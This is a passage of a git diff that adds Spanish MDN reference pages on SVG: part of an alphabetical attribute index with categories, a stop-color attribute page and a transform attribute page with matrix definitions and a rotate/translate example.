+ <li>{{ SVGAttr("keySplines") }}</li>
+ <li>{{ SVGAttr("keyTimes") }}</li>
+</ul>
+
+<h3 id="L">L</h3>
+
+<ul>
+ <li>{{ SVGAttr("lang") }}</li>
+ <li>{{ SVGAttr("lengthAdjust") }}</li>
+ <li>{{ SVGAttr("letter-spacing") }}</li>
+ <li>{{ SVGAttr("lighting-color") }}</li>
+ <li>{{ SVGAttr("limitingConeAngle") }}</li>
+ <li>{{ SVGAttr("local") }}</li>
+</ul>
+
+<h3 id="M">M</h3>
+
+<ul>
+ <li>{{ SVGAttr("marker-end") }}</li>
+ <li>{{ SVGAttr("marker-mid") }}</li>
+ <li>{{ SVGAttr("marker-start") }}</li>
+ <li>{{ SVGAttr("markerHeight") }}</li>
+ <li>{{ SVGAttr("markerUnits") }}</li>
+ <li>{{ SVGAttr("markerWidth") }}</li>
+ <li>{{ SVGAttr("mask") }}</li>
+ <li>{{ SVGAttr("maskContentUnits") }}</li>
+ <li>{{ SVGAttr("maskUnits") }}</li>
+ <li>{{ SVGAttr("mathematical") }}</li>
+ <li>{{ SVGAttr("max") }}</li>
+ <li>{{ SVGAttr("media") }}</li>
+ <li>{{ SVGAttr("method") }}</li>
+ <li>{{ SVGAttr("min") }}</li>
+ <li>{{ SVGAttr("mode") }}</li>
+</ul>
+
+<h3 id="N">N</h3>
+
+<ul>
+ <li>{{ SVGAttr("name") }}</li>
+ <li>{{ SVGAttr("numOctaves") }}</li>
+</ul>
+
+<h3 id="O">O</h3>
+
+<ul>
+ <li>{{ SVGAttr("offset") }}</li>
+ <li>{{ SVGAttr("onabort") }}</li>
+ <li>{{ SVGAttr("onactivate") }}</li>
+ <li>{{ SVGAttr("onbegin") }}</li>
+ <li>{{ SVGAttr("onclick") }}</li>
+ <li>{{ SVGAttr("onend") }}</li>
+ <li>{{ SVGAttr("onerror") }}</li>
+ <li>{{ SVGAttr("onfocusin") }}</li>
+ <li>{{ SVGAttr("onfocusout") }}</li>
+ <li>{{ SVGAttr("onload") }}</li>
+ <li>{{ SVGAttr("onmousedown") }}</li>
+ <li>{{ SVGAttr("onmousemove") }}</li>
+ <li>{{ SVGAttr("onmouseout") }}</li>
+ <li>{{ SVGAttr("onmouseover") }}</li>
+ <li>{{ SVGAttr("onmouseup") }}</li>
+ <li>{{ SVGAttr("onrepeat") }}</li>
+ <li>{{ SVGAttr("onresize") }}</li>
+ <li>{{ SVGAttr("onscroll") }}</li>
+ <li>{{ SVGAttr("onunload") }}</li>
+ <li>{{ SVGAttr("opacity") }}</li>
+ <li>{{ SVGAttr("operator") }}</li>
+ <li>{{ SVGAttr("order") }}</li>
+ <li>{{ SVGAttr("orient") }}</li>
+ <li>{{ SVGAttr("orientation") }}</li>
+ <li>{{ SVGAttr("origin") }}</li>
+ <li>{{ SVGAttr("overflow") }}</li>
+ <li>{{ SVGAttr("overline-position") }}</li>
+ <li>{{ SVGAttr("overline-thickness") }}</li>
+</ul>
+
+<h3 id="P">P</h3>
+
+<ul>
+ <li>{{ SVGAttr("panose-1") }}</li>
+ <li>{{ SVGAttr("paint-order") }}</li>
+ <li>{{ SVGAttr("pathLength") }}</li>
+ <li>{{ SVGAttr("patternContentUnits") }}</li>
+ <li>{{ SVGAttr("patternTransform") }}</li>
+ <li>{{ SVGAttr("patternUnits") }}</li>
+ <li>{{ SVGAttr("pointer-events") }}</li>
+ <li>{{ SVGAttr("points") }}</li>
+ <li>{{ SVGAttr("pointsAtX") }}</li>
+ <li>{{ SVGAttr("pointsAtY") }}</li>
+ <li>{{ SVGAttr("pointsAtZ") }}</li>
+ <li>{{ SVGAttr("preserveAlpha") }}</li>
+ <li>{{ SVGAttr("preserveAspectRatio") }}</li>
+ <li>{{ SVGAttr("primitiveUnits") }}</li>
+</ul>
+
+<h3 id="R">R</h3>
+
+<ul>
+ <li>{{ SVGAttr("r") }}</li>
+ <li>{{ SVGAttr("radius") }}</li>
+ <li>{{ SVGAttr("refX") }}</li>
+ <li>{{ SVGAttr("refY") }}</li>
+ <li>{{ SVGAttr("rendering-intent") }}</li>
+ <li>{{ SVGAttr("repeatCount") }}</li>
+ <li>{{ SVGAttr("repeatDur") }}</li>
+ <li>{{ SVGAttr("requiredExtensions") }}</li>
+ <li>{{ SVGAttr("requiredFeatures") }}</li>
+ <li>{{ SVGAttr("restart") }}</li>
+ <li>{{ SVGAttr("result") }}</li>
+ <li>{{ SVGAttr("rotate") }}</li>
+ <li>{{ SVGAttr("rx") }}</li>
+ <li>{{ SVGAttr("ry") }}</li>
+</ul>
+
+<h3 id="S">S</h3>
+
+<ul>
+ <li>{{ SVGAttr("scale") }}</li>
+ <li>{{ SVGAttr("seed") }}</li>
+ <li>{{ SVGAttr("shape-rendering") }}</li>
+ <li>{{ SVGAttr("slope") }}</li>
+ <li>{{ SVGAttr("spacing") }}</li>
+ <li>{{ SVGAttr("specularConstant") }}</li>
+ <li>{{ SVGAttr("specularExponent") }}</li>
+ <li>{{ SVGAttr("speed") }}</li>
+ <li>{{ SVGAttr("spreadMethod") }}</li>
+ <li>{{ SVGAttr("startOffset") }}</li>
+ <li>{{ SVGAttr("stdDeviation") }}</li>
+ <li>{{ SVGAttr("stemh") }}</li>
+ <li>{{ SVGAttr("stemv") }}</li>
+ <li>{{ SVGAttr("stitchTiles") }}</li>
+ <li>{{ SVGAttr("stop-color") }}</li>
+ <li>{{ SVGAttr("stop-opacity") }}</li>
+ <li>{{ SVGAttr("strikethrough-position") }}</li>
+ <li>{{ SVGAttr("strikethrough-thickness") }}</li>
+ <li>{{ SVGAttr("string") }}</li>
+ <li>{{ SVGAttr("stroke") }}</li>
+ <li>{{ SVGAttr("stroke-dasharray") }}</li>
+ <li>{{ SVGAttr("stroke-dashoffset") }}</li>
+ <li>{{ SVGAttr("stroke-linecap") }}</li>
+ <li>{{ SVGAttr("stroke-linejoin") }}</li>
+ <li>{{ SVGAttr("stroke-miterlimit") }}</li>
+ <li>{{ SVGAttr("stroke-opacity") }}</li>
+ <li>{{ SVGAttr("stroke-width") }}</li>
+ <li>{{ SVGAttr("style") }}</li>
+ <li>{{ SVGAttr("surfaceScale") }}</li>
+ <li>{{ SVGAttr("systemLanguage") }}</li>
+</ul>
+
+<h3 id="T">T</h3>
+
+<ul>
+ <li>{{ SVGAttr("tabindex") }}</li>
+ <li>{{ SVGAttr("tableValues") }}</li>
+ <li>{{ SVGAttr("target") }}</li>
+ <li>{{ SVGAttr("targetX") }}</li>
+ <li>{{ SVGAttr("targetY") }}</li>
+ <li>{{ SVGAttr("text-anchor") }}</li>
+ <li>{{ SVGAttr("text-decoration") }}</li>
+ <li>{{ SVGAttr("text-rendering") }}</li>
+ <li>{{ SVGAttr("textLength") }}</li>
+ <li>{{ SVGAttr("to") }}</li>
+ <li>{{ SVGAttr("transform") }}</li>
+ <li>{{ SVGAttr("type") }}</li>
+</ul>
+
+<h3 id="U">U</h3>
+
+<ul>
+ <li>{{ SVGAttr("u1") }}</li>
+ <li>{{ SVGAttr("u2") }}</li>
+ <li>{{ SVGAttr("underline-position") }}</li>
+ <li>{{ SVGAttr("underline-thickness") }}</li>
+ <li>{{ SVGAttr("unicode") }}</li>
+ <li>{{ SVGAttr("unicode-bidi") }}</li>
+ <li>{{ SVGAttr("unicode-range") }}</li>
+ <li>{{ SVGAttr("units-per-em") }}</li>
+</ul>
+
+<h3 id="V">V</h3>
+
+<ul>
+ <li>{{ SVGAttr("v-alphabetic") }}</li>
+ <li>{{ SVGAttr("v-hanging") }}</li>
+ <li>{{ SVGAttr("v-ideographic") }}</li>
+ <li>{{ SVGAttr("v-mathematical") }}</li>
+ <li>{{ SVGAttr("values") }}</li>
+ <li>{{ SVGAttr("version") }}</li>
+ <li>{{ SVGAttr("vert-adv-y") }}</li>
+ <li>{{ SVGAttr("vert-origin-x") }}</li>
+ <li>{{ SVGAttr("vert-origin-y") }}</li>
+ <li>{{ SVGAttr("viewBox") }}</li>
+ <li>{{ SVGAttr("viewTarget") }}</li>
+ <li>{{ SVGAttr("visibility") }}</li>
+</ul>
+
+<h3 id="W">W</h3>
+
+<ul>
+ <li>{{ SVGAttr("width") }}</li>
+ <li>{{ SVGAttr("widths") }}</li>
+ <li>{{ SVGAttr("word-spacing") }}</li>
+ <li>{{ SVGAttr("writing-mode") }}</li>
+</ul>
+
+<h3 id="X">X</h3>
+
+<ul>
+ <li>{{ SVGAttr("x") }}</li>
+ <li>{{ SVGAttr("x-height") }}</li>
+ <li>{{ SVGAttr("x1") }}</li>
+ <li>{{ SVGAttr("x2") }}</li>
+ <li>{{ SVGAttr("xChannelSelector") }}</li>
+ <li>{{ SVGAttr("xlink:actuate") }}</li>
+ <li>{{ SVGAttr("xlink:arcrole") }}</li>
+ <li>{{ SVGAttr("xlink:href") }}</li>
+ <li>{{ SVGAttr("xlink:role") }}</li>
+ <li>{{ SVGAttr("xlink:show") }}</li>
+ <li>{{ SVGAttr("xlink:title") }}</li>
+ <li>{{ SVGAttr("xlink:type") }}</li>
+ <li>{{ SVGAttr("xml:base") }}</li>
+ <li>{{ SVGAttr("xml:lang") }}</li>
+ <li>{{ SVGAttr("xml:space") }}</li>
+</ul>
+
+<h3 id="Y">Y</h3>
+
+<ul>
+ <li>{{ SVGAttr("y") }}</li>
+ <li>{{ SVGAttr("y1") }}</li>
+ <li>{{ SVGAttr("y2") }}</li>
+ <li>{{ SVGAttr("yChannelSelector") }}</li>
+</ul>
+
+<h3 id="Z">Z</h3>
+
+<ul>
+ <li>{{ SVGAttr("z") }}</li>
+ <li>{{ SVGAttr("zoomAndPan") }}</li>
+</ul>
+</div>
+
+<h2 id="Categorías">Categorías</h2>
+
+<h3 id="Atributos_de_eventos_de_animación">Atributos de eventos de animación</h3>
+
+<p>{{ SVGAttr("onbegin") }}, {{ SVGAttr("onend") }}, {{ SVGAttr("onload") }}, {{ SVGAttr("onrepeat") }}</p>
+
+<h3 id="Atributos_de_objetivo_de_animación">Atributos de objetivo de animación</h3>
+
+<p>{{ SVGAttr("attributeType") }}, {{ SVGAttr("attributeName") }}</p>
+
+<h3 id="Atributos_temporales_de_animación">Atributos temporales de animación</h3>
+
+<p>{{ SVGAttr("begin") }}, {{ SVGAttr("dur") }}, {{ SVGAttr("end") }}, {{ SVGAttr("min") }}, {{ SVGAttr("max") }}, {{ SVGAttr("restart") }}, {{ SVGAttr("repeatCount") }}, {{ SVGAttr("repeatDur") }}, {{ SVGAttr("fill") }}</p>
+
+<h3 id="Atributos_de_valores_de_animación">Atributos de valores de animación</h3>
+
+<p>{{ SVGAttr("calcMode") }}, {{ SVGAttr("values") }}, {{ SVGAttr("keyTimes") }}, {{ SVGAttr("keySplines") }}, {{ SVGAttr("from") }}, {{ SVGAttr("to") }}, {{ SVGAttr("by") }}, {{ SVGAttr("autoReverse") }}, {{ SVGAttr("accelerate") }}, {{ SVGAttr("decelerate") }}</p>
+
+<h3 id="Atributos_de_adición_de_animación">Atributos de adición de animación</h3>
+
+<p>{{ SVGAttr("additive") }}, {{ SVGAttr("accumulate") }}</p>
+
+<h3 id="Atributos_de_procesado_condicional">Atributos de procesado condicional</h3>
+
+<p>{{ SVGAttr("requiredExtensions") }}, {{ SVGAttr("requiredFeatures") }}, {{ SVGAttr("systemLanguage") }}.</p>
+
+<h3 id="Atributos_principales">Atributos principales</h3>
+
+<p>{{ SVGAttr("id") }}, {{ SVGAttr("xml:base") }}, {{ SVGAttr("xml:lang") }}, {{ SVGAttr("xml:space") }}, {{ SVGAttr("tabindex") }}</p>
+
+<h3 id="Atributos_de_eventos_del_documento">Atributos de eventos del documento</h3>
+
+<p>{{ SVGAttr("onabort") }}, {{ SVGAttr("onerror") }}, {{ SVGAttr("onresize") }}, {{ SVGAttr("onscroll") }}, {{ SVGAttr("onunload") }}</p>
+
+<h3 id="Atributos_de_filtro_de_primitivas">Atributos de filtro de primitivas</h3>
+
+<p>{{ SVGAttr("height") }}, {{ SVGAttr("result") }}, {{ SVGAttr("width") }}, {{ SVGAttr("x") }}, {{ SVGAttr("y") }}</p>
+
+<h3 id="Atributos_de_eventos_gráficos">Atributos de eventos gráficos</h3>
+
+<p>{{ SVGAttr("onactivate") }}, {{ SVGAttr("onclick") }}, {{ SVGAttr("onfocusin") }}, {{ SVGAttr("onfocusout") }}, {{ SVGAttr("onload") }}, {{ SVGAttr("onmousedown") }}, {{ SVGAttr("onmousemove") }}, {{ SVGAttr("onmouseout") }}, {{ SVGAttr("onmouseover") }}, {{ SVGAttr("onmouseup") }}</p>
+
+<h3 id="Atributos_presentacionales">Atributos presentacionales</h3>
+
+<div class="note">Nota: todos los atributos presentacionales de SVG pueden ser usados como propiedades CSS.</div>
+
+<p>{{ SVGAttr("alignment-baseline") }}, {{ SVGAttr("baseline-shift") }}, {{ SVGAttr("clip") }}, {{ SVGAttr("clip-path") }}, {{ SVGAttr("clip-rule") }}, {{ SVGAttr("color") }}, {{ SVGAttr("color-interpolation") }}, {{ SVGAttr("color-interpolation-filters") }}, {{ SVGAttr("color-profile") }}, {{ SVGAttr("color-rendering") }}, {{ SVGAttr("cursor") }}, {{ SVGAttr("direction") }}, {{ SVGAttr("display") }}, {{ SVGAttr("dominant-baseline") }}, {{ SVGAttr("enable-background") }}, {{ SVGAttr("fill") }}, {{ SVGAttr("fill-opacity") }}, {{ SVGAttr("fill-rule") }}, {{ SVGAttr("filter") }}, {{ SVGAttr("flood-color") }}, {{ SVGAttr("flood-opacity") }}, {{ SVGAttr("font-family") }}, {{ SVGAttr("font-size") }}, {{ SVGAttr("font-size-adjust") }}, {{ SVGAttr("font-stretch") }}, {{ SVGAttr("font-style") }}, {{ SVGAttr("font-variant") }}, {{ SVGAttr("font-weight") }}, {{ SVGAttr("glyph-orientation-horizontal") }}, {{ SVGAttr("glyph-orientation-vertical") }}, {{ SVGAttr("image-rendering") }}, {{ SVGAttr("kerning") }}, {{ SVGAttr("letter-spacing") }}, {{ SVGAttr("lighting-color") }}, {{ SVGAttr("marker-end") }}, {{ SVGAttr("marker-mid") }}, {{ SVGAttr("marker-start") }}, {{ SVGAttr("mask") }}, {{ SVGAttr("opacity") }}, {{ SVGAttr("overflow") }}, {{ SVGAttr("pointer-events") }}, {{ SVGAttr("shape-rendering") }}, {{ SVGAttr("stop-color") }}, {{ SVGAttr("stop-opacity") }}, {{ SVGAttr("stroke") }}, {{ SVGAttr("stroke-dasharray") }}, {{ SVGAttr("stroke-dashoffset") }}, {{ SVGAttr("stroke-linecap") }}, {{ SVGAttr("stroke-linejoin") }}, {{ SVGAttr("stroke-miterlimit") }}, {{ SVGAttr("stroke-opacity") }}, {{ SVGAttr("stroke-width") }}, {{ SVGAttr("text-anchor") }}, {{ SVGAttr("text-decoration") }}, {{ SVGAttr("text-rendering") }}, {{ SVGAttr("unicode-bidi") }}, {{ SVGAttr("visibility") }}, {{ SVGAttr("word-spacing") }}, {{ SVGAttr("writing-mode") }}</p>
+
+<h3 id="Atributos_de_estilo">Atributos de estilo</h3>
+
+<p>{{ SVGAttr("class") }}, {{ SVGAttr("style") }}</p>
+
+<h3 id="Atributos_de_transferencia_de_funcionalidades">Atributos de transferencia de funcionalidades</h3>
+
+<p>{{ SVGAttr("type") }}, {{ SVGAttr("tableValues") }}, {{ SVGAttr("slope") }}, {{ SVGAttr("intercept") }}, {{ SVGAttr("amplitude") }}, {{ SVGAttr("exponent") }}, {{ SVGAttr("offset") }}</p>
+
+<h3 id="Atributos_XLink">Atributos XLink</h3>
+
+<p>{{ SVGAttr("xlink:href") }}, {{ SVGAttr("xlink:type") }}, {{ SVGAttr("xlink:role") }}, {{ SVGAttr("xlink:arcrole") }}, {{ SVGAttr("xlink:title") }}, {{ SVGAttr("xlink:show") }}, {{ SVGAttr("xlink:actuate") }}</p>
diff --git a/files/es/web/svg/attribute/stop-color/index.html b/files/es/web/svg/attribute/stop-color/index.html
new file mode 100644
index 0000000000..54bfb8000b
--- /dev/null
+++ b/files/es/web/svg/attribute/stop-color/index.html
@@ -0,0 +1,59 @@
+---
+title: stop-color
+slug: Web/SVG/Attribute/stop-color
+tags:
+  - Atributos SVG
+translation_of: Web/SVG/Attribute/stop-color
+---
+<p>« <a href="/en/SVG/Attribute" title="en/SVG/Attribute">SVG Attribute reference hom</a>e</p>
+
+<p>El atributo <code>stop-color</code> indica que color usar en el stop del gradiente. La keyword <code>currentColor</code> y ICC  pueden ser especificadas de la misma manera con la especificación <a href="/en/SVG/Content_type#Paint" title="en/SVG/Content_type#Paint">&lt;paint&gt;</a> para los atributos {{ SVGAttr("fill") }} y {{ SVGAttr("stroke") }}.</p>
+
+<h2 id="Usage_context">Usage context</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Categorías</th>
+   <td>Presentation attribute</td>
+  </tr>
+  <tr>
+   <th scope="row">Valor</th>
+   <td>currentColor | <a href="/en/SVG/Content_type#Color" title="en/SVG/Content_type#Color">&lt;color&gt;</a> | <a href="/en/SVG/Content_type#ICCColor" title="en/SVG/Content_type#ICCColor">&lt;icccolor&gt;</a> | inherit</td>
+  </tr>
+  <tr>
+   <th scope="row">Valor inicial</th>
+   <td>negro</td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>Sí</td>
+  </tr>
+  <tr>
+   <th scope="row">Documento normativo</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/pservers.html#StopColorProperty" title="http://www.w3.org/TR/SVG11/pservers.html#StopColorProperty">SVG 1.1 (2.ª edición)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h2 id="Elementos">Elementos</h2>
+
+<p>El siguiente elemento puede usar el atributo <code>stop-color</code></p>
+
+<ul>
+ <li>{{ SVGElement("stop") }}</li>
+</ul>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilidad entre navegadores</h2>
+
+
+
+<p>{{Compat("svg.attributes.presentation.stop-color")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{ SVGAttr("stop-opacity") }}</li>
+</ul>
diff --git a/files/es/web/svg/attribute/transform/index.html b/files/es/web/svg/attribute/transform/index.html
new file mode 100644
index 0000000000..0d225d06b8
--- /dev/null
+++ b/files/es/web/svg/attribute/transform/index.html
@@ -0,0 +1,144 @@
+---
+title: transform
+slug: Web/SVG/Attribute/transform
+translation_of: Web/SVG/Attribute/transform
+---
+<p>« Indice de atributos SVG</p>
+
+<p>El atributo <code>transform</code> exhibe una lista de definiciones de transformación que se aplican a un elemento y a sus hijos. Los elementos en la lista de tranformación están separados por espacios en blanco y/o comas y se aplican de derecha a izquierda.</p>
+
+<h2 id="Contexto_de_uso">Contexto de uso</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Categorias</th>
+   <td>None</td>
+  </tr>
+  <tr>
+   <th scope="row">Valor</th>
+   <td><strong title="this is the default value">&lt;transform-list&gt;</strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Animable</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">Documento normativo</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG/coords.html#TransformAttribute" title="http://www.w3.org/TR/SVG/coords.html#TransformAttribute">SVG 1.1 (2nd Edition)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Tipos_de_definiciones_de_transformación">Tipos de definiciones de transformación</h3>
+
+<dl>
+ <dt>matrix(&lt;a&gt; &lt;b&gt; &lt;c&gt; &lt;d&gt; &lt;e&gt; &lt;f&gt;)</dt>
+ <dd>Esta definición de tranformación, especifica una transformación en forma de una matriz de transformación de seis valores. <code>matrix(a,b,c,d,e,f)</code> es equivalente a aplicar la siguiente matriz de transformación:<math display="block"><semantics><mrow><mo>(</mo><mtable rowspacing="0.5ex"><mtr><mtd><mi>a</mi></mtd><mtd><mi>c</mi></mtd><mtd><mi>e</mi></mtd></mtr><mtr><mtd><mi>b</mi></mtd><mtd><mi>d</mi></mtd><mtd><mi>f</mi></mtd></mtr><mtr><mtd><mn>0</mn></mtd><mtd><mn>0</mn></mtd><mtd><mn>1</mn></mtd></mtr></mtable><mo>)</mo></mrow><annotation encoding="TeX">\begin{pmatrix} a &amp; c &amp; e \\ b &amp; d &amp; f \\ 0 &amp; 0 &amp; 1 \end{pmatrix}</annotation></semantics></math> que mapea las coordinadas desde un nuevo sistema de coordenadas a un sistema existente mediante la siguiente matriz de igualdades:<math display="block"><semantics><mrow><mrow><mo>(</mo><mtable rowspacing="0.5ex"><mtr><mtd><msub><mi>x</mi><mstyle mathvariant="normal"><mrow><mi>p</mi><mi>r</mi><mi>e</mi><mi>v</mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub></mtd></mtr><mtr><mtd><msub><mi>y</mi><mstyle mathvariant="normal"><mrow><mi>p</mi><mi>r</mi><mi>e</mi><mi>v</mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub></mtd></mtr><mtr><mtd><mn>1</mn></mtd></mtr></mtable><mo>)</mo></mrow><mo>=</mo><mrow><mo>(</mo><mtable rowspacing="0.5ex"><mtr><mtd><mi>a</mi></mtd><mtd><mi>c</mi></mtd><mtd><mi>e</mi></mtd></mtr><mtr><mtd><mi>b</mi></mtd><mtd><mi>d</mi></mtd><mtd><mi>f</mi></mtd></mtr><mtr><mtd><mn>0</mn></mtd><mtd><mn>0</mn></mtd><mtd><mn>1</mn></mtd></mtr></mtable><mo>)</mo></mrow><mrow><mo>(</mo><mtable rowspacing="0.5ex"><mtr><mtd><msub><mi>x</mi><mstyle mathvariant="normal"><mrow><mi>n</mi><mi>e</mi><mi>w</mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub></mtd></mtr><mtr><mtd><msub><mi>y</mi><mstyle mathvariant="normal"><mrow><mi>n</mi><mi>e</mi><mi>w</mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub></mtd></mtr><mtr><mtd><mn>1</mn></mtd></mtr></mtable><mo>)</mo></mrow><mo>=</mo><mrow><mo>(</mo><mtable rowspacing="0.5ex"><mtr><mtd><mi>a</mi><msub><mi>x</mi><mstyle mathvariant="normal"><mrow><mi>n</mi><mi>e</mi><mi>w</mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub><mo>+</mo><mi>c</mi><msub><mi>y</mi><mstyle mathvariant="normal"><mrow><mi>n</mi><mi>e</mi><mi>w</mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub><mo>+</mo><mi>e</mi></mtd></mtr><mtr><mtd><mi>b</mi><msub><mi>x</mi><mstyle mathvariant="normal"><mrow><mi>n</mi><mi>e</mi><mi>w</mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub><mo>+</mo><mi>d</mi><msub><mi>y</mi><mstyle mathvariant="normal"><mrow><mi>n</mi><mi>e</mi><mi>w</mi><mi>C</mi><mi>o</mi><mi>o</mi><mi>r</mi><mi>d</mi><mi>S</mi><mi>y</mi><mi>s</mi></mrow></mstyle></msub><mo>+</mo><mi>f</mi></mtd></mtr><mtr><mtd><mn>1</mn></mtd></mtr></mtable><mo>)</mo></mrow></mrow><annotation encoding="TeX"> \begin{pmatrix} x_{\mathrm{prevCoordSys}} \\ y_{\mathrm{prevCoordSys}} \\ 1 \end{pmatrix} = \begin{pmatrix} a &amp; c &amp; e \\ b &amp; d &amp; f \\ 0 &amp; 0 &amp; 1 \end{pmatrix} \begin{pmatrix} x_{\mathrm{newCoordSys}} \\ y_{\mathrm{newCoordSys}} \\ 1 \end{pmatrix} = \begin{pmatrix} a x_{\mathrm{newCoordSys}} + c y_{\mathrm{newCoordSys}} + e \\ b x_{\mathrm{newCoordSys}} + d y_{\mathrm{newCoordSys}} + f \\ 1 \end{pmatrix} </annotation></semantics></math></dd>
+ <dt>translate(&lt;x&gt; [&lt;y&gt;])</dt>
+ <dd>Esta definición de transformación, especifica la transición en <code>x</code> e <code>y</code>. Es equivalente a: <code>matrix(1 0 0 1 x y)</code>. Si no se provee ningun valor de  <code>y</code> , éste se asume como cero.</dd>
+ <dt>scale(&lt;x&gt; [&lt;y&gt;])</dt>
+ <dd>Esta definición de transformación, especifica la escala de operación en <code>x</code> e <code>y</code>. Es equivalente a: <code>matrix(x 0 0 y 0 0)</code>. Si no se provee ningun valor de  <code>y</code> , éste se asume igual a <code>x.</code></dd>
+ <dt>rotate(&lt;a&gt; [&lt;x&gt; &lt;y&gt;])</dt>
+ <dd>Esta definición de transformación, especifica la rotación en <code>a</code> grados a partir del punto dado. Si los parámetros opcionales  <code>x</code> e <code>y</code> no se proveen, la rotación se produce en el origen del actual sistema de coordenadas del usuario. Esta operación se corresponde con la matriz:<math display="block"><semantics><mrow><mo>(</mo><mtable rowspacing="0.5ex"><mtr><mtd><mo lspace="0em" rspace="0em">cos</mo><mi>a</mi></mtd><mtd><mo>-</mo><mo lspace="0em" rspace="0em">sin</mo><mi>a</mi></mtd><mtd><mn>0</mn></mtd></mtr><mtr><mtd><mo lspace="0em" rspace="0em">sin</mo><mi>a</mi></mtd><mtd><mo lspace="0em" rspace="0em">cos</mo><mi>a</mi></mtd><mtd><mn>0</mn></mtd></mtr><mtr><mtd><mn>0</mn></mtd><mtd><mn>0</mn></mtd><mtd><mn>1</mn></mtd></mtr></mtable><mo>)</mo></mrow><annotation encoding="TeX">\begin{pmatrix} \cos a &amp; -\sin a &amp; 0 \\ \sin a &amp; \cos a &amp; 0 \\ 0 &amp; 0 &amp; 1 \end{pmatrix}</annotation></semantics></math> Si se proveen los parámetros opcionales <code>x</code> e <code>y</code> , la rotación se produce en el punto provisto <code>(x, y)</code>. La operación representa el equivalente a la siguiente lista de transformaciones: <code>translate(&lt;x&gt;, &lt;y&gt;) rotate(&lt;a&gt;) translate(-&lt;x&gt;, -&lt;y&gt;)</code>.</dd>
+ <dt>skewX(&lt;a&gt;)</dt>
+ <dd>This transform definition specifies a skew transformation along the x axis by <code>a</code> degrees. The operation corresponds to the matrix <math display="block"><semantics><mrow><mo>(</mo><mtable rowspacing="0.5ex"><mtr><mtd><mn>1</mn></mtd><mtd><mo lspace="0em" rspace="0em">tan</mo><mo stretchy="false">(</mo><mi>a</mi><mo stretchy="false">)</mo></mtd><mtd><mn>0</mn></mtd></mtr><mtr><mtd><mn>0</mn></mtd><mtd><mn>1</mn></mtd><mtd><mn>0</mn></mtd></mtr><mtr><mtd><mn>0</mn></mtd><mtd><mn>0</mn></mtd><mtd><mn>1</mn></mtd></mtr></mtable><mo>)</mo></mrow><annotation encoding="TeX">\begin{pmatrix} 1 &amp; \tan(a) &amp; 0 \\ 0 &amp; 1 &amp; 0 \\ 0 &amp; 0 &amp; 1 \end{pmatrix}</annotation></semantics></math></dd>
+ <dt> </dt>
+ <dt>skewY(&lt;a&gt;)</dt>
+ <dd>This transform definition specifies a skew transformation along the y axis by <code>a</code> degrees. The operation corresponds to the matrix <math display="block"><semantics><mrow><mo>(</mo><mtable rowspacing="0.5ex"><mtr><mtd><mn>1</mn></mtd><mtd><mn>0</mn></mtd><mtd><mn>0</mn></mtd></mtr><mtr><mtd><mo lspace="0em" rspace="0em">tan</mo><mo stretchy="false">(</mo><mi>a</mi><mo stretchy="false">)</mo></mtd><mtd><mn>1</mn></mtd><mtd><mn>0</mn></mtd></mtr><mtr><mtd><mn>0</mn></mtd><mtd><mn>0</mn></mtd><mtd><mn>1</mn></mtd></mtr></mtable><mo>)</mo></mrow><annotation encoding="TeX"> \begin{pmatrix} 1 &amp; 0 &amp; 0 \\ \tan(a) &amp; 1 &amp; 0 \\ 0 &amp; 0 &amp; 1 \end{pmatrix} </annotation></semantics></math></dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="Rotating_and_Translating_an_SVG_element">Rotating and Translating an SVG element</h3>
+
+<p>In this simple example we rotate and translate (move) an SVG element using transform SVG attribute. The original element before transform is shown with a low opacity.</p>
+
+<p>CSS (optional):</p>
+
+<pre class="brush: css">text {
+  font: 1em sans-serif;
+}</pre>
+
+<p>SVG:</p>
+
+<pre class="brush: html">&lt;svg width="180" height="200"
+  xmlns="http://www.w3.org/2000/svg"
+  xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+
+  &lt;!-- This is the element before translation and rotation are applied --&gt;
+  &lt;rect x="50" y="50" height="100" width="100" style="stroke:#000; fill: #0086B2"<strong> </strong>fill-opacity=0.2 stroke-opacity=0.2&gt;&lt;/rect&gt;
+
+  &lt;!-- Now we add a text element and apply rotate and translate to both --&gt;
+  &lt;rect x="50" y="50" height="100" width="100" style="stroke:#000; fill: #0086B2"<strong> transform="translate(30) rotate(45 50 50)"</strong>&gt;&lt;/rect&gt;
+  &lt;text x="60" y="105" <strong>transform="translate(30) rotate(45 50 50)"</strong>&gt; Hello Moz! &lt;/text&gt;
+
+&lt;/svg&gt;
+</pre>
+
+<p>{{EmbedLiveSample("Rotating_and_Translating_an_SVG_element",200,200,"/files/5217/rotate_and_translate_svg.png.png")}}</p>
+
+<h3 id="General_Transformation" name="General_Transformation">General Transformation</h3>
+
